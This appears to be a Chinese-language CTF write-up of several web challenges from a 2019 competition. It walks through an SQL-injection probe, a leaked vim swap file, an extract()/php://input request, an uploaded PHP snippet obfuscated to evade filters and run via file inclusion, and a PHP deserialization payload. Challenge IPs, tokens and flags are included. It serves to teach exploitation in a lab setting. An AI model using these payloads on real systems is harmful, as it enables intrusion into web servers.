首先吐槽一下
作为一个影响力比较高的比赛,比赛的体验是如此之差,实在是不应该,有大佬在群里喷的
运维总是背锅,心疼三秒。
不过话说话回来了,这次比赛至少让我们看到了动态flag机制比赛利弊,防作弊是好的,偶尔也能出点bug。
总之,自己还是不够优秀,Web上依旧是个菜鸡。
以下记录一下自己的web的writeup,
希望大佬们不要喷我。
http://111.33.164.4:10001
这是一个送分题目,通过这个题目,也知道了整个比赛的获取动态flag的方式。
直接id=1'
传参报错得到一个新的地址,然后通过地址和token得到flag。
http://111.33.164.4:10001/25d99be830ad95b02f6f82235c8edcf7.php?token=1DJBAAA03PNLD02GJ2S1M5LVUL8PTTHA
flag{e32277c14a70aeda80a0d0877241594f}
http://111.33.164.6:10003
vim的源码泄露
111.33.164.6:10003/.151912db206ee052.php.swp
<?php
error_reporting(0);
class First{
function firstlevel(){
$a='whoami';
extract($_GET);
$fname = $_GET['fname']?$_GET['fname']:'./js/ctf.js';
$content=trim(file_get_contents($fname));
if($a==$content)
{
echo 'ok';;
else
{
echo '听说你的Linux用的很6?';
}
}
}
$execfirst = new First();
$execfirst -> firstlevel();
?>
从上面的php代码可以看出是很容易的一个变量使用php://input协议的一个知识点,传入如下的数据包:
GET //151912db206ee052.php?a=whoami&fname=php://input HTTP/1.1
Host: 111.33.164.6:10003
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 8
whoami
得到本题第二关的通关地址
HTTP/1.1 200 OK
Date: Wed, 28 Aug 2019 05:24:42 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Vary: Accept-Encoding
Content-Length: 441
Connection: close
Content-Type: text/html
<html>
<head>
<meta charset="utf-8">
<title>hello</title>
<script type="text/javascript" src="js/ctf.js"></script>
<link rel="stylesheet" href="css/style.css" />
</head>
<body>
<center><br/><a style="text-decoration: none" href="2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=computer&file=3792689baaabc7eb&hash256=48e5cf527a8171f38e5f31d30fe65843">欢è¿æå¼æ°ä¸çç大é¨ï¼</a></body>
</html>
获得第二关的地址之后,发现是一个文件上传,经过测试之后,发现过滤了很多php的函数,例如phpinfo(),system()等等,最关键的时候,没法上传php文件,但是发现可以上传html文件
然后发现这个链接比较有意思
http://111.33.164.6:10003//2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=computer&file=3792689baaabc7eb&hash256=a7e5034c3039d902b26a3971f29efba8
其中有个file参数,经过测试之后,发现
http://111.33.164.6:10003/3792689baaabc7eb本身就是一个上传页面,于是猜测在file参数中有文件按包含
http://111.33.164.6:10003//2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=computer&file=3792689baaabc7eb&hash256=a7e5034c3039d902b26a3971f29efba8
以下是我传的html文件,类似变种木马。一句话能千变万化,不是正则表达式所能制约的了的。
<script language="php"> echo 3; $a="sc"."an"."di"."r";$b=$a("./");print_r($b)</script>
http://111.33.164.6:10003//2d019a311aaa30427.php?refer=df53ca268240ca76670c8566ee54568a&t=20190828&dtype=computer&file=upload/eb00b19a1f5fa8&hash256=a7e5034c3039d902b26a3971f29efba8
可以得到geiflag的链接
http://111.33.164.6:10004 tips:flag在/var/www/flag.php
这题没做出来简单记录一下
<?php
// flag.php in /var/html/www
error_reporting(0);
class Test{
protected $careful;
public $securuty;
public function __wakeup(){
if($this->careful===1){
phpinfo(); // step 1: read source,get phpinfo and read it carefullt
}
}
public function __get($name){
return $this->securuty[$name];
}
public function __call($param1,$param2){
if($this->{$param1}){
eval('$a='.$_GET['dangerous'].';');
}
}
}
class User{
public $user;
public function __wakeup(){
$this->user=new Welcome();
$this->user->say_hello();
}
}
$a=serialize(new User);
$string=$_GET['foo']??$a;
unserialize($string);
?>
查看phpinfo();
http://111.33.164.6:10004/index.php?foo=O:4:%22Test%22:1:{s:10:%22%00*%00careful%22;i:1;}
后来总是500,自己也很菜,没有做下去。
传送门:http://111.33.164.4:10005 tips:./tmp
这题我应该是非预期,估计主办方运维背锅,不管怎么样,反正是拿到flag了
结合前面几题,访问/flagishere/发现直接列目录
早期扫描,还有/log/access.log 也能找到访问flag的路径,至于正确的解法,准备看其他师傅的writeup了
http://111.33.164.4:10005/flagishere/6be8b547d6db1d213c1ceecc30b3cb24.php?token=1DJBG96OVSP05N2GJ2S1M5LVCS46DTR2
以上就是在web方面踩的坑,大佬们多多指教。